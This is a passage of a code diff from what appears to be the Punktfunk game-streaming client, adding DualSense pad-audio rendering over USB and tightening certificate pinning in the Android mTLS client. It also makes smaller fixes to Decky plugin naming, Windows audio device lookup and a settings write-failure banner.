* usbfs claims are per interface, so a native claim of the audio interface leaves this link's
* HID claim untouched.
*
* **The borrower must stop using it before [stop] runs**: closing the connection while a
* transfer is in flight pulls the descriptor out from under the kernel.
*/
val fileDescriptor: Int get() = connection?.fileDescriptor ?: -1
/**
* Claim [dev]'s controller interface(s) and start the read loop. The caller has already
* obtained USB permission. Returns false when nothing could be claimed.
@@ -69,6 +69,10 @@ object NativeBridge {
* list and trust store show for it, same convention as [nativePair]'s `name`. `null`/blank
* the host falls back to a fingerprint-derived "device abcd1234" label. */
deviceName: String?,
/** Advertise `CLIENT_CAP_PAD_AUDIO` the SESSION-level negotiation for the 0xD1 per-pad
* DualSense plane. Without it the host never sets `HOST_CAP_PAD_AUDIO` and emits nothing,
* so a captured pad's own render capabilities would have nothing to gate. */
padAudioOk: Boolean,
): Long
/** 64-hex SHA-256 of the cert the host presented on [handle]; valid after a successful connect. */
@@ -332,6 +336,46 @@ object NativeBridge {
*/
external fun nativeSetMicMuted(handle: Long, muted: Boolean)
/**
* Start tier-A DualSense pad audio: render the host's `0xD1` streams on the pad's own
* 4-channel USB audio device.
*
* [fd] is an open [android.hardware.usb.UsbDeviceConnection]'s file descriptor. Native code
* **borrows** it it claims the pad's audio interface through usbfs (which leaves any HID
* claim on the same device alone) and never closes the descriptor. The caller must keep the
* connection open until [nativeStopPadAudio] returns.
*
* This also declares the pad's render capability to the host; without it no `0xD1` is sent.
*
* Returns false when there is nothing to render. A kernel that refuses the interface claim is
* NOT reported here the renderer discovers that on its own thread and the session simply
* carries on without tier A, because some OEM kernels refuse and no app-side fix exists.
*/
external fun nativeStartPadAudio(
handle: Long,
pad: Int,
fd: Int,
haptics: Boolean,
speaker: Boolean,
): Boolean
/**
* Stop tier-A pad audio and join its render thread, and hand the pad back to wire rumble.
*
* Returns only once the thread is joined so the `UsbDeviceConnection` may be closed as soon
* as this returns, and not before.
*/
external fun nativeStopPadAudio(handle: Long, pad: Int)
/**
* Drive the pad with a test tone through the real render path no host, no session.
*
* [fd] must come from a connection **nothing else is driving transfers on**: two engines on
* one usbfs descriptor reap each other's completions. Blocks for roughly [seconds]; run it off
* the main thread. Returns sample frames written, or negative on failure.
*/
external fun nativePadAudioSelfTest(fd: Int, seconds: Int, hz: Int): Int
/**
* Is a mic capture actually RUNNING i.e. did [nativeStartMic] open a stream, and has
* [nativeStopMic] not been called since? Offer the in-stream mute control on THIS rather than
@@ -127,8 +127,14 @@ object LibraryClient {
* An OkHttpClient that presents the paired client cert and pins the host's self-signed cert by
* SHA-256(DER) reused for BOTH the library fetch and the cover-art loads (so a paired client
* reaches the host's own art proxy). The pinning trust manager trusts the host by fingerprint and
* defers to normal public trust for any other origin (an external CDN URL); the hostname verifier
* accepts the pinned host (whose self-signed cert has no matching SAN) and defers otherwise.
* defers to normal public trust for any other origin (an external CDN URL).
*
* The two checks are only sound TOGETHER, and the composition is the point: the trust manager
* cannot fail closed on its own (it has no hostname, so it must let a CDN chain through), so the
* hostname verifier is what makes the pinned host pin-only. Loosen either and a publicly-trusted
* certificate for any name is accepted for the host which is exactly what 2026-08-05 review M-2
* found. The host's own cert is self-signed with no matching SAN, so it can never satisfy the
* default verifier; the pin is its only credential, on purpose.
*/
fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String): OkHttpClient {
val clientCert = CertificateFactory.getInstance("X.509")
@@ -162,7 +168,26 @@ fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String)
val defaultVerifier = HttpsURLConnection.getDefaultHostnameVerifier()
val verifier = HostnameVerifier { hostname, session ->
hostname == host || defaultVerifier.verify(hostname, session)
if (hostname == host) {
// The PINNED host fails closed: only the pinned leaf is acceptable for this name.
//
// This used to be a bare `hostname == host`, which composed with the trust manager's
// system-CA fall-through into "any publicly-trusted certificate, for any name, is
// accepted for the pinned host" — the pin was decorative (2026-08-05 review M-2). A
// MITM with any free CA-issued cert intercepted the connection, received the client's
// mTLS IDENTITY certificate, and served attacker-chosen library JSON and art URLs.
// The Rust (`pf-client-core`) and Apple (`ClientTLS`) paths already fail closed here;
// only Android did not.
try {
sha256Hex((session.peerCertificates.firstOrNull() as? X509Certificate)?.encoded ?: return@HostnameVerifier false) == pinned
} catch (_: Exception) {
false
}
} else {
// Any other origin (an external CDN art URL) is ordinary public trust: the system
// trust manager validated the chain, and this checks the name against it.
defaultVerifier.verify(hostname, session)
}
}
return OkHttpClient.Builder()
+8
View File
@@ -64,6 +64,14 @@ libc = "0.2"
# host + Linux client use. audiopus_sys vendors libopus (pure C) and builds it static via cmake —
# the cargo-ndk build sets LIBOPUS_STATIC=1/LIBOPUS_NO_PKG=1 so it links the bundled lib, not the host's.
opus = "0.3"
# Tier-A pad audio (WP9). Android's audio framework denylists the DualSense's output by VID/PID,
# so the pad's isochronous endpoint is driven directly on the fd `UsbDeviceConnection` hands over.
# Our own crates, developed openly because the hole they fill — isochronous USB in Rust — is an
# ecosystem-wide one: https://github.com/unom-io/usbfs-iso
# Pinned by revision rather than floating: this is a transport under a real-time deadline and it
# should move when we choose to. Becomes a plain version dependency once the crates are published.
uac-host = { git = "https://github.com/unom-io/usbfs-iso", rev = "f3de1fd62cec271d07f45664dc464f23e423e721" }
usbfs-iso = { git = "https://github.com/unom-io/usbfs-iso", rev = "f3de1fd62cec271d07f45664dc464f23e423e721" }
[lints]
workspace = true
+13
View File
@@ -77,6 +77,14 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeNextRumble(
// handle.
let h = unsafe { &*(handle as *const SessionHandle) };
match h.client.next_rumble_command(PULL_TIMEOUT) {
// A pad whose coils are ACTIVELY being driven by the 0xD1 haptics stream must not see
// wire rumble: `DsDevice` sets `valid_flag0` bit 1 (`HAPTICS_SELECT`) on every rumble
// write, and that bit disables the audio-haptics path — so one replayed command would
// mute the coils the stream is driving. Gating on *arrival of haptics frames* rather
// than on "a stream is open" is what keeps a rumble-only title working: it renders no
// haptics audio, so the host emits nothing on 0xD1 and the pad keeps its rumble.
// Dropping it here rather than in Kotlin keeps the rule next to the reason.
Ok(cmd) if crate::pad_audio::haptics_owns_coils((cmd.pad & 0xF) as u8) => -1,
Ok(cmd) => pack_rumble(cmd.pad, cmd.low, cmd.high, cmd.backstop_ms),
Err(_) => -1, // NoFrame (timeout) or Closed — Kotlin loops on its running flag
}
@@ -174,6 +182,11 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeNextHidout(
out[3..n].copy_from_slice(&data);
n
}
HidOutput::AudioCtl { .. } => {
// DS5 pad-audio routing/volumes — no Android replay path yet (the 0xD1 sample
// plane isn't rendered here either); drop it like TrackpadHaptic.
return -1;
}
};
n as jint
})
+2
View File
@@ -37,6 +37,8 @@ mod discovery;
mod feedback;
#[cfg(target_os = "android")]
mod mic;
/// Tier-A DualSense pad audio: the 0xD1 plane rendered on the pad's own USB endpoint.
mod pad_audio;
mod session;
mod stats;
// Ungated like `discovery`: pure `jni` + `punktfunk_core::wol` (no Android framework), so it links
File diff suppressed because it is too large Load Diff
+13 -1
View File
@@ -145,6 +145,7 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeConnect<'lo
timeout_ms: jint,
launch: JString<'local>,
device_name: JString<'local>,
pad_audio_ok: jboolean,
) -> jlong {
let host: String = match env.get_string(&host) {
Ok(s) => s.into(),
@@ -268,7 +269,16 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeConnect<'lo
// CLIENT_CAP_PHASE_LOCK is honest: the async decode loop's presenter feeds
// report_phase (advisory in v1 — the host arms on report receipt — but the Hello
// should say what the client does).
punktfunk_core::quic::CLIENT_CAP_PHASE_LOCK,
// CLIENT_CAP_PAD_AUDIO is the SESSION-level negotiation, separate from the per-pad
// arrival bits: without it the host never sets HOST_CAP_PAD_AUDIO and never emits 0xD1,
// so declaring a pad's render caps later would have nothing to gate. Gated on the
// settings so a user with pad audio off does not make the host provision endpoints.
punktfunk_core::quic::CLIENT_CAP_PHASE_LOCK
| if pad_audio_ok != 0 {
punktfunk_core::quic::CLIENT_CAP_PAD_AUDIO
} else {
0
},
// Slice-progressive delivery, by decoder truth (Kotlin probes FEATURE_PartialFrame on
// every decoder this device would use; `debug.punktfunk.force_parts` overrides for the
// on-glass experiment): AU prefixes then arrive as `Frame::part` pieces and the decode
@@ -291,6 +301,8 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeConnect<'lo
audio: Mutex::new(None),
#[cfg(target_os = "android")]
mic: Mutex::new(None),
#[cfg(target_os = "android")]
pad_audio: Mutex::new(None),
// A fresh session is never muted (mute is per-session UI state, not a setting).
mic_muted: Arc::new(std::sync::atomic::AtomicBool::new(false)),
};
+15
View File
@@ -61,6 +61,11 @@ pub(crate) struct SessionHandle {
audio: Mutex<Option<crate::audio::AudioPlayback>>,
#[cfg(target_os = "android")]
mic: Mutex<Option<crate::mic::MicCapture>>,
/// Tier-A DualSense pad audio (the 0xD1 plane), started by `nativeStartPadAudio` once Kotlin
/// has claimed the pad's audio interface and handed its descriptor over. Session-lifetime and
/// `Option` because a session may have no wired DualSense at all, which is the common case.
#[cfg(target_os = "android")]
pub(crate) pad_audio: Mutex<Option<crate::pad_audio::PadAudio>>,
/// In-stream mic mute, set via `nativeSetMicMuted` and read per 10 ms frame by the mic's
/// encode loop ([`crate::mic`]). Session-lifetime rather than per-[`crate::mic::MicCapture`]
/// for the same reason the stats gate is: the mic stops and restarts across a surface
@@ -99,6 +104,14 @@ impl SessionHandle {
fn stop_mic(&self) {
let _ = self.mic.lock().unwrap().take();
}
/// Stop pad audio. Dropping the [`crate::pad_audio::PadAudio`] joins its render thread, which
/// is what guarantees nothing is still writing to the descriptor when Kotlin closes the
/// `UsbDeviceConnection`. Idempotent.
#[cfg(target_os = "android")]
pub(crate) fn stop_pad_audio(&self) {
let _ = self.pad_audio.lock().unwrap().take();
}
}
impl Drop for SessionHandle {
@@ -108,6 +121,8 @@ impl Drop for SessionHandle {
self.stop_audio();
#[cfg(target_os = "android")]
self.stop_mic();
#[cfg(target_os = "android")]
self.stop_pad_audio();
}
}
@@ -460,6 +460,111 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeStopMic(
})
}
/// `NativeBridge.nativeStartPadAudio(handle, pad, fd, haptics, speaker): Boolean` — start tier-A
/// DualSense pad audio on a descriptor Kotlin has already obtained.
///
/// `fd` comes from `UsbDeviceConnection.getFileDescriptor()` **after** claiming the pad's audio
/// streaming interface. Kotlin owns that connection and **must keep it open until
/// `nativeStopPadAudio` returns**: the renderer borrows the descriptor and never closes it, so
/// closing early would pull it out from under an in-flight isochronous transfer.
///
/// Returns `false` when there is nothing to render (both kinds disabled) or the thread would not
/// start. A kernel that refuses the interface claim is NOT reported here — the renderer discovers
/// that on its own thread and degrades to tier C, because some OEM kernels refuse and there is no
/// app-side fix worth blocking a session on.
#[no_mangle]
#[cfg(target_os = "android")]
pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeStartPadAudio(
_env: JNIEnv,
_this: JObject,
handle: jlong,
pad: jni::sys::jint,
fd: jni::sys::jint,
haptics: jboolean,
speaker: jboolean,
) -> jboolean {
jni_guard(0, || {
if handle == 0 || fd < 0 || !(0..16).contains(&pad) {
return 0;
}
// SAFETY: live handle per the nativeConnect/nativeClose contract.
let h = unsafe { &*(handle as *const SessionHandle) };
// Replace any previous renderer first: dropping it joins the old thread, so two of them
// can never hold the same descriptor at once.
h.stop_pad_audio();
// The capability declaration and the rumble suppression are NOT done here: the renderer
// makes both only once its USB stream actually opens (see `pad_audio::render`). Doing them
// at spawn time would, on a kernel that refuses the interface claim, take the pad off wire
// rumble and give it nothing in return — no haptics of any kind.
match crate::pad_audio::start(
std::sync::Arc::clone(&h.client),
pad as u8,
fd,
haptics != 0,
speaker != 0,
) {
Some(p) => {
*h.pad_audio.lock().unwrap() = Some(p);
1
}
None => 0,
}
})
}
/// `NativeBridge.nativePadAudioSelfTest(fd, seconds, hz): Int` — drive the pad directly with a
/// tone through the real client render path, with no host and no session involved.
///
/// The check a standalone harness cannot make: it owns its descriptor by construction, so it can
/// never reveal that the client handed the renderer a descriptor something else was already
/// driving. Returns sample frames written, or negative on failure (see `pad_audio::SelfTest`).
#[no_mangle]
#[cfg(target_os = "android")]
pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativePadAudioSelfTest(
_env: JNIEnv,
_this: JObject,
fd: jni::sys::jint,
seconds: jni::sys::jint,
hz: jni::sys::jint,
) -> jni::sys::jint {
jni_guard(-1, || {
if fd < 0 {
return -1;
}
// SAFETY: Kotlin holds the owning UsbDeviceConnection open across this call and drives no
// other transfers on it (it opens a dedicated connection for exactly this).
unsafe { crate::pad_audio::self_test(fd, seconds, hz) }
})
}
/// `NativeBridge.nativeStopPadAudio(handle, pad)` — stop tier-A pad audio and join its thread.
///
/// Returns only once the render thread is joined, which is the point: Kotlin may close the
/// `UsbDeviceConnection` as soon as this returns and not before.
#[no_mangle]
#[cfg(target_os = "android")]
pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeStopPadAudio(
_env: JNIEnv,
_this: JObject,
handle: jlong,
pad: jni::sys::jint,
) {
jni_guard((), || {
if handle != 0 {
// SAFETY: live handle per the nativeConnect/nativeClose contract.
let h = unsafe { &*(handle as *const SessionHandle) };
h.stop_pad_audio();
if (0..16).contains(&pad) {
// Withdraw the capability and hand the pad back to wire rumble, in that order:
// the host stops sending 0xD1 before tier C resumes, so the two never overlap.
h.client.set_pad_audio_caps(pad as u8, 0);
crate::pad_audio::set_tier_a(pad as u8, false);
crate::pad_audio::clear_haptics_liveness(pad as u8);
}
}
})
}
/// `NativeBridge.nativeSetMicMuted(handle, muted)` — mute/unmute the mic uplink mid-stream.
///
/// Muting deliberately does NOT stop the capture: the AAudio input stream, the input-preset rung
+1 -1
View File
@@ -1,5 +1,5 @@
{
"name": "punktfunk",
"name": "Punktfunk",
"author": "enrico",
"flags": ["debug"],
"api_version": 1,
+3 -1
View File
@@ -12,7 +12,9 @@
set -euo pipefail
HERE="$(cd "$(dirname "$0")/.." && pwd)"
DECK="${DECK:?set DECK=deck@<ip>}"
NAME="$(python3 -c 'import json;print(json.load(open("'"$HERE"'/plugin.json"))["name"])')"
# The on-disk plugin DIR (what scripts/package.sh staged into out/), not plugin.json "name"
# that field is the brand-cased label Decky shows in its plugin list. See package.sh's header.
NAME=punktfunk
STAGE_LOCAL="$HERE/out/$NAME"
[ -d "$STAGE_LOCAL" ] || { echo "$STAGE_LOCAL missing — run scripts/package.sh first" >&2; exit 1; }
+8 -4
View File
@@ -5,9 +5,13 @@
# package.json,decky.pyi,LICENSE,README.md}
# out/punktfunk/ (the same tree, unzipped — rsync this with scripts/deploy.sh)
#
# Decky extracts the zip with --strip-components=1, so the single top-level dir MUST equal
# plugin.json "name". Run after `pnpm build` (or use `pnpm run package`). Host-agnostic: needs
# only bash, python3 and zip.
# The single top-level dir is the plugin's ON-DISK folder name (Decky extracts the zip as-is,
# so the dir in the zip becomes ~/homebrew/plugins/<dir>). It is deliberately NOT read from
# plugin.json "name": that field is the user-visible label ("Punktfunk", brand-cased, shown in
# Decky's plugin list) and Decky locates an installed plugin by MATCHING it, never by the folder
# name. Keeping the folder lowercase means a rename of the label can't strand the old directory
# next to a new one (which would show up as two plugins).
# Run after `pnpm build` (or use `pnpm run package`). Host-agnostic: needs only bash, python3 and zip.
set -euo pipefail
HERE="$(cd "$(dirname "$0")/.." && pwd)"
cd "$HERE"
@@ -15,7 +19,7 @@ cd "$HERE"
[ -f dist/index.js ] || { echo "dist/index.js missing — run 'pnpm build' first" >&2; exit 1; }
[ -f LICENSE ] || { echo "LICENSE missing (required by the Decky store)" >&2; exit 1; }
NAME="$(python3 -c 'import json;print(json.load(open("plugin.json"))["name"])')"
NAME=punktfunk # the on-disk plugin dir (see the header) — NOT plugin.json "name"
VER="$(python3 -c 'import json;print(json.load(open("package.json"))["version"])')"
STAGE="$(mktemp -d)"
+24 -2
View File
@@ -122,6 +122,25 @@ function advertMatchesSaved(a: DiscoveredHost, s: SavedHost): boolean {
);
}
/**
* The label a saved row shows.
*
* A saved record whose name IS its own address is a PLACEHOLDER, not a choice: `hosts add`
* falls back to the address when the pairing path had nothing better, so the row ends up
* captioned with the same string it already prints underneath. When the box is on the air it
* is advertising its actual hostname prefer that, and the row reads "home-worker-5" instead
* of "192.168.1.21".
*
* A real saved name always wins over the advert, even a stale one: it may be a name the user
* chose, and a live advert must never quietly overwrite that. Compared against the SAVED
* address, so a host that moved DHCP lease still recognises its old address as a placeholder.
*/
function hostLabel(s: SavedHost, advert?: DiscoveredHost): string {
const placeholder = !s.name || s.name === s.addr || s.name === `${s.addr}:${s.port}`;
if (!placeholder) return s.name;
return advert?.name || s.name || s.addr;
}
/**
* Join the saved store and the live browse into the rows the panel draws.
*
@@ -134,7 +153,7 @@ export function mergeHosts(saved: SavedHost[], discovered: DiscoveredHost[]): Ho
// Prefer a live advert's address: the host may have moved since it was last saved.
const advert = discovered.find((a) => advertMatchesSaved(a, s));
return {
name: s.name || s.addr,
name: hostLabel(s, advert),
addr: advert?.addr ?? s.addr,
port: advert?.port ?? s.port,
fp: s.fp_hex,
@@ -387,7 +406,10 @@ export async function applyUpdate(
// before any result could arrive — so never await it. Decky shows its own confirm prompt.
void backend.callable("utilities/install_plugin")(
info.artifact,
"punktfunk",
// The name Decky uninstalls before extracting the new zip — it locates the folder by
// matching plugin.json "name", so this must equal THIS build's plugin.json name (the
// brand-cased one), not the lowercase on-disk dir.
"Punktfunk",
info.latest,
info.hash,
INSTALL_TYPE_UPDATE,
+5 -3
View File
@@ -337,9 +337,11 @@ export default definePlugin(() => {
// controller config. Fire-and-forget: cosmetic library upkeep must never block plugin load.
void ensureGamepadUiShortcut();
return {
// `name` is the plugin's INTERNAL id — it must stay in sync with plugin.json (the loader
// keys plugins by it), so it stays lowercase; user-facing strings say "Punktfunk".
name: "punktfunk",
// `name` must stay in sync with plugin.json (the loader keys plugins by it) — and it is
// USER-VISIBLE: Decky labels the entry in its plugin list with it, so it carries the brand
// case. Decky finds an installed plugin by matching plugin.json "name" (never the folder
// name), so this is independent of the on-disk dir, which stays lowercase `punktfunk`.
name: "Punktfunk",
// `staticClasses?.Title` is guarded so a future client that drops the export can't throw
// at plugin-load time (an error boundary only catches render-time, not load-time, errors).
titleView: <div className={staticClasses?.Title}>Punktfunk</div>,
+12 -3
View File
@@ -70,9 +70,18 @@ declare const appStore:
* entry from a false "missing". A confident null means the shortcut was deleted recreate. */
function shortcutStillExists(appId: number): boolean {
try {
const get = appStore?.GetAppOverviewByAppID;
if (!get) return true; // no way to verify — preserve the reuse path
return get(appId) != null;
// Call it as a METHOD on appStore — NEVER as an extracted function. Its implementation
// reads the store's own state (`this.m_mapApps`), so `const get = appStore.GetAppOverview…;
// get(id)` throws on the lost `this`, and the catch below turns that into a permanent
// "true". That is not a stale-data bug but a total one: the guard then answers "still
// exists" for EVERY appId, so a dangling id is never dropped, the reuse path repoints a
// dead shortcut (silent no-ops), and "recreate" reports success having done nothing.
// `typeof` first: `appStore` is a Steam-injected global, and a bare reference to a missing
// one is a ReferenceError that optional chaining does NOT prevent.
if (typeof appStore === "undefined" || !appStore?.GetAppOverviewByAppID) {
return true; // no way to verify — preserve the reuse path
}
return appStore.GetAppOverviewByAppID(appId) != null;
} catch {
return true;
}
+1
View File
@@ -773,6 +773,7 @@ fn mock_library() -> (
title: title.to_string(),
art: crate::library::Artwork::default(),
platform: None,
role: None,
};
let games = vec![
game("steam:570", "steam", "Dota 2"),
+11
View File
@@ -286,6 +286,12 @@ mod session_main {
// Spawned at first params-build so it exists for --connect AND console launches.
#[cfg(unix)]
crate::ctl_socket::spawn(gamepad.clone());
// Pad-audio prefs to OUR gamepad service (same reasoning as the pin above): tier-A
// slots declare their render caps at open time, which happens on attach — after this.
gamepad.set_pad_audio_prefs(
settings.pad_haptics,
pf_client_core::pad_audio::speaker_active(&settings.pad_speaker),
);
let mode = Mode {
width: if settings.width == 0 {
native.width
@@ -389,6 +395,11 @@ mod session_main {
cursor_forward: settings.mouse_mode() == trust::MouseMode::Desktop,
mic_enabled: settings.mic_enabled,
echo_cancel: settings.echo_cancel,
// Pad audio (0xD1): the DualSense haptics/speaker render settings. The gamepad
// service learns the same prefs below so tier-A slots declare their render caps
// at open; the session pump gates CLIENT_CAP_PAD_AUDIO + the renderer on these.
pad_haptics: settings.pad_haptics,
pad_speaker: settings.pad_speaker.clone(),
clipboard,
// The Settings preference (auto → VAAPI where it exists; the presenter
// demotes to software on boxes whose Vulkan can't import the dmabufs).
+26 -1
View File
@@ -1911,10 +1911,35 @@ pub(crate) fn settings_page(
} else {
border(vstack(Vec::<Element>::new())).into()
};
// Every save on this page is fire-and-forget by design — a failed settings write must
// never take a stream down — so a client whose config store rejects writes looks entirely
// normal: toggles move, profiles appear, and NOTHING survives a restart. That is exactly
// how it reached us from the field ("it's in read-only mode"), with no log file to send
// either. When the store is refusing writes, say so, name the path, and stop pretending.
//
// Same always-mounted-slot discipline as `sheet_slot`: one child in both states, and the
// SAME KIND in both (a Border wrapping the bar, versus an empty background-less Border —
// which per style.rs is not hit-testable, so it swallows no clicks). Neither a grid child
// nor a vstack child is ever added or removed, which is where this reconciler's phantom
// bookkeeping breaks.
let store_slot: Element = match pf_client_core::trust::store_health::last_error() {
Some(err) => border(
InfoBar::new("Your changes aren\u{2019}t being saved")
.message(format!(
"Punktfunk can\u{2019}t write to its settings folder, so nothing on this \
page will survive a restart. {err}"
))
.error()
.is_closable(false),
)
.margin(edges(24.0, 12.0, 28.0, 0.0))
.into(),
None => border(vstack(Vec::<Element>::new())).into(),
};
// The bar rides an Auto row above the nav's Star row, so the nav (and the sheet's scrim
// over it) still fills the rest of the window.
grid(vec![
scope_bar.grid_row(0),
Element::from(vstack(vec![store_slot, scope_bar])).grid_row(0),
Element::from(grid(vec![nav.into(), sheet_slot, confirm])).grid_row(1),
])
.rows([GridLength::Auto, GridLength::STAR])
+4
View File
@@ -57,6 +57,10 @@ sdl3 = { version = "0.18", features = ["hidapi"] }
[target.'cfg(windows)'.dependencies]
wasapi = "0.23"
# Pad-audio correlation (pad_audio.rs): the HID devnode's ContainerID and a render endpoint's
# stamped PKEY_Device_ContainerId both live in the registry — read-only, which sidesteps COM
# property stores entirely (the same version the host pins).
winreg = "0.56"
sdl3 = { version = "0.18", features = ["hidapi", "build-from-source"] }
# D3D11VA decode (video_d3d11.rs): device/adapter selection, DXVA probes, and the shared
# NT-handle hand-off ring. Same pinned rev as clients/windows so the workspace builds ONE
+31 -1
View File
@@ -98,13 +98,43 @@ pub fn devices() -> Result<(Vec<AudioDevice>, Vec<AudioDevice>)> {
/// Settings device pickers via session main), or the OS default. A picked device that's
/// gone (unplugged USB DAC, remote session) falls back to the default with a warning —
/// audio keeps working, like the PipeWire twin's `target.object` behavior.
/// Resolve an active endpoint by id WITHOUT `DeviceEnumerator::get_device`.
///
/// That helper builds its argument as `PCWSTR::from_raw(HSTRING::from(id).as_ptr())` — the
/// `HSTRING` is a temporary, dropped at the end of that statement, so `GetDevice` reads freed
/// memory and misses ids that are perfectly valid. Scanning the active collection touches only
/// safe crate APIs, so it cannot regress the same way. (`punktfunk-host` fixes the same bug with
/// raw COM instead; this crate cannot, because it pins a different `windows` revision than
/// `wasapi` does, making the two `IMMDevice` types incompatible.)
pub(crate) fn device_by_id(
enumerator: &DeviceEnumerator,
direction: &Direction,
id: &str,
) -> Result<wasapi::Device> {
let devices = enumerator
.get_device_collection(direction)
.map_err(|e| anyhow!("enumerate {direction:?} endpoints: {e}"))?;
let count = devices
.get_nbr_devices()
.map_err(|e| anyhow!("endpoint count: {e}"))?;
for i in 0..count {
let dev = devices
.get_device_at_index(i)
.map_err(|e| anyhow!("endpoint {i}: {e}"))?;
if dev.get_id().is_ok_and(|got| got == id) {
return Ok(dev);
}
}
anyhow::bail!("no active {direction:?} endpoint with id {id}")
}
fn pick_device(
enumerator: &DeviceEnumerator,
direction: &Direction,
var: &str,
) -> Result<wasapi::Device> {
if let Some(id) = std::env::var(var).ok().filter(|v| !v.is_empty()) {
match enumerator.get_device(&id) {
match device_by_id(enumerator, direction, &id) {
Ok(d) => {
tracing::info!(
var,
+193 -3
View File
@@ -369,8 +369,14 @@ enum Ctl {
Pin(Option<String>),
KindOverride(GamepadPref),
Forwarding(bool),
SystemButtons { forward_raw: bool, gesture: bool },
SystemButtons {
forward_raw: bool,
gesture: bool,
},
TapButton(u32),
/// Which pad-audio streams the session's settings want rendered (bit0 = haptics, bit1 =
/// speaker) — the settings half of the per-pad tier-A capability declared at slot open.
PadAudioPrefs(u8),
MenuMode(bool),
MenuRumble(MenuPulse),
}
@@ -573,6 +579,18 @@ impl GamepadService {
let _ = self.ctl.send(Ctl::TapButton(wire::BTN_MISC1));
}
/// Declare which pad-audio streams this session's settings want rendered (`haptics` =
/// [`Settings::pad_haptics`](crate::trust::Settings::pad_haptics), `speaker` =
/// `pad_speaker == "pad"` via [`crate::pad_audio::speaker_active`]). Drives the per-pad
/// tier-A capability bits declared to the core at slot open — a WIRED DualSense/Edge
/// declares exactly these; every other pad declares 0. Call before [`Self::attach`],
/// like [`Self::set_kind_override`]: slots declare at open time. Defaults to "nothing"
/// for an embedder that never calls it, keeping the wire bytes exactly as before.
pub fn set_pad_audio_prefs(&self, haptics: bool, speaker: bool) {
let bits = (haptics as u8) | ((speaker as u8) << 1);
let _ = self.ctl.send(Ctl::PadAudioPrefs(bits));
}
pub fn attach(&self, connector: Arc<NativeClient>) {
let _ = self.ctl.send(Ctl::Attach(connector));
}
@@ -746,6 +764,8 @@ impl Ds5Feedback {
/// The USB report offsets these are derived from — see the type doc. Kept beside the derived
/// values so the subtraction is visible at the point of definition.
const REPORT_ID_LEN: usize = 1;
/// The audio-control region (`ucHeadphoneVolume`…`ucAudioMuteBits`): report byte 5.
const AUDIO: usize = 5 - Self::REPORT_ID_LEN;
const RIGHT_TRIGGER: usize = 11 - Self::REPORT_ID_LEN;
const LEFT_TRIGGER: usize = 22 - Self::REPORT_ID_LEN;
const PAD_LIGHTS: usize = 44 - Self::REPORT_ID_LEN;
@@ -782,6 +802,29 @@ impl Ds5Feedback {
p[Self::PAD_LIGHTS] = bits & 0x1F;
p
}
/// The one-shot tier-A activation packet — the SDL disable-bit trap undone. `p[0]`
/// (`ucEnableBits1`) bit0 = "enable rumble emulation" and bit1 = "disable audio haptics"
/// (SDL_hidapi_ps5.c); SDL sets BOTH whenever its rumble path runs, which mutes the very
/// voice coils the 0xD1 haptics stream drives. Per SDL's own comment — "Leaving emulated
/// rumble bits off will restore audio haptics" — a packet with those bits CLEARED (and no
/// other valid flag, so nothing else is touched) puts the pad back on audio haptics.
fn audio_haptics_packet() -> [u8; 47] {
[0u8; 47]
}
/// Fold a host [`HidOutput::AudioCtl`] into an effects packet: `raw` is DS5 output report
/// `0x02` bytes 5..=10 verbatim → struct offsets 4..=9 ([`Self::AUDIO`] — headphone/
/// speaker/mic volumes + routing), and `p[0]` re-asserts the report's audio-valid flags
/// (`flags` bits1..4 = report `flag0` bits 4..7). `flags` bit0 (haptics-select, `flag0`
/// bit1 = SDL's "disable audio haptics") is deliberately NOT replayed: bits 0/1 stay
/// clear so the pad's audio haptics stay live (see [`audio_haptics_packet`]).
fn audio_ctl_packet(flags: u8, raw: &[u8; 6]) -> [u8; 47] {
let mut p = [0u8; 47];
p[0] = (flags & 0x1E) << 3;
p[Self::AUDIO..Self::AUDIO + 6].copy_from_slice(raw);
p
}
}
/// One forwarded controller during an attached session: the open SDL handle, its stable wire
@@ -818,6 +861,14 @@ struct Slot {
/// Hold-Select→guide state ([`SelectGesture`]) — only fed while the worker's
/// `guide_gesture` policy is on.
gesture: SelectGesture,
/// Pad-audio render capabilities declared for this slot (bit0 = haptics, bit1 = speaker
/// — the [`NativeClient::set_pad_audio_caps`] bits). Nonzero only for a tier-A pad (a
/// WIRED DualSense/Edge, see [`crate::pad_audio::is_tier_a_ds5`]) under matching
/// settings; bit0 set additionally suppresses wire rumble for this slot (the SDL
/// disable-bit trap — see [`Worker::render_feedback`]).
audio_caps: u8,
/// The wire-rumble-suppressed notice fired for this slot (log once, not per command).
rumble_suppressed_logged: bool,
}
impl Slot {
@@ -834,6 +885,8 @@ impl Slot {
held_clicks: [false; 2],
last_accel: [0; 3],
gesture: SelectGesture::default(),
audio_caps: 0,
rumble_suppressed_logged: false,
}
}
@@ -971,6 +1024,10 @@ struct Worker {
/// Releases owed for synthetic taps ([`Ctl::TapButton`]): `(pad, bit, due)` — the
/// down went out on receipt, the up goes out from the poll once `due` passes.
synthetic_ups: Vec<(u8, u32, Instant)>,
/// Pad-audio streams the session's settings want rendered (bit0 = haptics, bit1 =
/// speaker — [`GamepadService::set_pad_audio_prefs`]). `0` (the default) until an embedder
/// declares some: tier-A detection then never runs and every arrival stays caps-less.
pad_audio_prefs: u8,
attached: Option<Arc<NativeClient>>,
/// Raises the UI escape signal; the escape chord fires it once per press.
escape_tx: async_channel::Sender<()>,
@@ -1176,11 +1233,18 @@ impl Worker {
Ok(pad) => {
let mut slot = Slot::new(id, index, pref, pad);
Self::set_slot_sensors(&mut slot, true);
slot.audio_caps = self.pad_audio_caps_for(id, &slot.pad);
// Declare this pad's kind BEFORE any of its input, so the host builds a matching
// virtual device (mixed types — pad 0 a DualSense, pad 1 an Xbox pad). The core
// re-sends it a few times against datagram loss; an older host ignores it and
// uses the session-default kind.
if let Some(c) = &self.attached {
// Pad-audio render caps go in FIRST — the core ORs them into this (and
// every re-sent) arrival's flags bits 8/9 toward a capable host. ALWAYS
